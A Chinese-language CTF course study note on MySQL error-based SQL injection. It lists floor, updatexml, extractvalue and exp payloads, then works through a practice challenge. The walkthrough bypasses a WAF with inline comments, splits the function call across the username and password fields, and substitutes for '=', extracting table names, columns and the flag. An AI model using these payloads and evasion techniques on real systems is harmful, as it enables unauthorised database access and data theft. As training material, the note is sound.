注:
1.本文是对安全牛《CTF从入门到提升》课程课时2第二部分报错注入的记录

1.floor报错

原理参见 https://www.cnblogs.com/litlife/p/8472323.html

这里只记录一个payload:

1
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.其他报错注入

updatexml函数

1
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

最大长度为32位,可以利用substring分批截取字符串

1
select * from users where id=1 and updatexml(1,concat(0x7e,(SELECT substring(group_concat(table_name),50,30) from information_schema.tables),0x7e),1);

原理: https://blog.csdn.net/qq_37873738/article/details/88042610

更多利用:https://blog.csdn.net/Fly_hps/article/details/79416842

extractvalue函数

1
extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

原理: https://www.cnblogs.com/xishaonian/p/6250444.html

exp函数(本地未测试成功)

1
exp(~(select * from(select user())a));

详细: https://blog.csdn.net/weixin_41594045/article/details/83547103

3.例题讲解

http://www.shiyanbar.com/ctf/2011
根据提示通过post的方式提交用户名和密码
右键源代码可以看到给出的sql语句是

1
select * from users where username='$username' and password='$password'

3.1插入’发现有报错

提交这样的post数据:
username=aaaa’&password=sdf
发现返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘sdf’’ at line 1

因此可以尝试使用报错注入

3.2发现存在waf

构造这样的sql语句

1
2
select * from users where username='admin' 
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#' and password='xxxx';

即提交这样的post数据
username=admin’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#&password=xxxx
结果返回

Sql injection detected

3.3测试waf

可以利用burpsuite进行一下模糊测试(详情参见https://segmentfault.com/a/1190000018748071)
测试后会发现#,–+,–%20这三种注释方式都被禁掉了了,但是内联注释/*/可以使用
比如提交这样的post数据:
username=’/
&password=*/ or ‘1
构造这样的sql语句

1
select * from users where username=''/* and password='*/ or '1';

发现可以成功登录,但登录并不能拿到flag

3.4尝试利用内联注释使用报错注入

提交这样的post数据:
username=admin’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)/&password=/ or ‘1
也就是构造这样的sql语句

1
2
3
select * from users where username='' 
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)/*'
and password='*/ or '1';

返回了一个

User name unknow error.

把updatexml放到password部分则返回

Unknown password error.

查看下fuzz的结果发现waf禁掉了updatexml(,
但updatexml没有被禁

3.5把updatexml(分开

既然updatexml(被禁了,那如果把updatexml放在username,后面的部分放在password呢?
提交这样的post数据:
username=’ and updatexml/&password=/ (1,concat(0x7e,(SELECT database()),0x7e),1) or ‘1
即构造这样的sql语句:

1
select * from users where username='' and updatexml/*' and password=*/ (1,concat(0x7e,(SELECT database()),0x7e),1) or '1';

返回XPATH syntax error: ‘error_based_hpf
报错注入成功
尝试去获取表名:

1
username=' and updatexml/*&password=*/ (1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema='error_based_hpf'),0x7e),1) or '1

结果又返回了Sql injection detected,晕死。。

3.6等于号的替代方法

查看fuzz结果发现是=被禁了,因此用其他的语句替代=,一般有以下几种方法:

  • like
  • regexp
  • !(<>)
    这里只有第三种能用

获得表名:

1
username=' and updatexml/*&password=*/ (1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema <> 'error_based_hpf')),0x7e),1) or '1

获得列名:

1
username=' and updatexml/*&password=*/ (1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where !(table_name <> 'ffll44jj')),0x7e),1) or '1

获得表中内容:

1
username=' and updatexml/*&password=*/ (1,concat(0x7e,(SELECT group_concat(value) from ffll44jj),0x7e),1) or '1